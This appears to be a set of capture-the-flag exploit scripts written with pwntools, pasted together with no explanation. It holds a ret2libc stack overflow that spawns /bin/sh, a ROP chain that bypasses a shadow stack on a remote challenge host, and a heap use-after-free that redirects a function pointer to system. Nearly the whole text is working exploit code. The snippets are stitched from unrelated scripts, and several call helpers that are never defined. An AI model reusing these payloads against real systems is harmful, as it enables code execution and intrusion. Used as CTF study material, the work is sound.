def libc_resolve(dict_sym_addr, choice=0): if len(dict_sym_addr) <= 1: log.warning_once( "[libc-resolver]: No reliable result is guaranteed without at least two symbols" ) result = libcdb_wrapper.find(dict_sym_addr) log.info("Found:\n%s" % result) regex_lib_names = r"\((.*)\)" libs = re.findall(regex_lib_names, result, re.MULTILINE) if len(libs) > 1: log.warning( "[libc-resolver]: %d libraries are compatible, default choice is %d" % (len(libs), choice + 1)) libc = ELF(config.db_path + libs[choice] + ".so") libc.address = list(dict_sym_addr.values())[0] - libc.symbols[list( dict_sym_addr.keys())[0]] return (libc)
def main(): elf_name = '/problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/vuln' libc_name = 'libc.so.6' elf = ELF(elf_name) libc = ELF(libc_name) OFFSET_buf_to_eip = 0x9c + 4 p = process(elf_name) p.recvuntil('puts: ') leak = p.recvline(keepends=False) ADDR_puts = int(leak, 16) p.recvuntil('useful_string: ') leak = p.recvline(keepends=False) ADDR_bin_sh = int(leak, 16) # Calculate libc base libc.address = ADDR_puts - libc.symbols['puts'] ADDR_system = libc.symbols[ 'system'] # + 3 # +3 to avoid null byte on address ADDR_exit = libc.symbols['exit'] log.info("puts @ %s", hex(ADDR_puts)) log.info("libc @ %s", hex(libc.address)) log.info("system @ %s", hex(ADDR_system)) log.info("exit @ %s", hex(ADDR_exit)) log.info("/bin/sh @ %s", hex(ADDR_bin_sh)) ropchain = p32(ADDR_system) ropchain += p32(ADDR_exit) ropchain += p32(ADDR_bin_sh) payload = 'A' * OFFSET_buf_to_eip payload += ropchain p.sendlineafter('string:\n', payload) p.sendlineafter( 'now...\n', 'cd /problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/') p.sendline('ls -l') p.interactive()
p = remote("challenges.ctf.kaf.sh", 8000) #p = process('./shadowstuck', env={"LD_PRELOAD":"./libc-2.31.so"}) libc = ELF('./libc-2.31.so') base_shadowstack = int(p.recvline().split(b'at ')[1][:-1], 16) print("[+] Shadowstack @ 0x%x" % base_shadowstack) add_employee("Mike") #0 fire_employee("Mike", b'a' * 0x10 + pack(base_shadowstack)[:-2]) leak = unpack(read_employee(1).ljust(8, b'\x00')) print("[+] Leak libc @ 0x%x" % leak) libc.address = leak - 159923 print("[+] Libc @ 0x%x" % libc.address) pop_rdi_gadget = libc.address + 0x26b72 change_employee(1, pack(pop_rdi_gadget).rstrip(b'\x00')) assert unpack(read_employee(1).ljust(8, b'\x00')) == pop_rdi_gadget rop = b"aaaaaaaaaaaaaaaaaaaaaaaaa" #padding rop += pack(pop_rdi_gadget) rop += pack(next(libc.search(b'/bin/sh'))) rop += pack(pop_rdi_gadget + 1) #for stack alignment rop += pack(libc.symbols['system']) employee_exit(rop)
def build_fake_quote(content_ptr, content_size, title_ptr, title_size, write_ptr, read_ptr): return pack(content_ptr) + pack(content_size) + pack(title_ptr) + pack( title_size) + pack(write_ptr) + pack(read_ptr) add_quote("aaaaaaaa", "AAAAAAAA") #1 add_quote("bbbbbbbb", "BBBBBBBB") #2 add_quote("cccccccc", "CCCCCCCC") #3 add_quote("dddddddd", "DDDDDDDD") #4 delete_quote(1) delete_quote(2) add_quote( "eeeeeeee", pack(puts_got_plt), 8, sizeof_quote_t ) #2 #3 pointent vers la meme quote, notre content occupe la meme place sur la heap que #1 puts_leak = unpack(get_quote(1)['content'].ljust(8, b'\x00')) libc.address = puts_leak - libc.symbols['puts'] print("[+] Libc base address : 0x%x" % libc.address) print("[+] System address : 0x%x" % libc.symbols['system']) edit_quote( 2, build_fake_quote(unpack(b'/bin/sh;'), 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, libc.symbols['system'])) get_quote(1, True) p.interactive()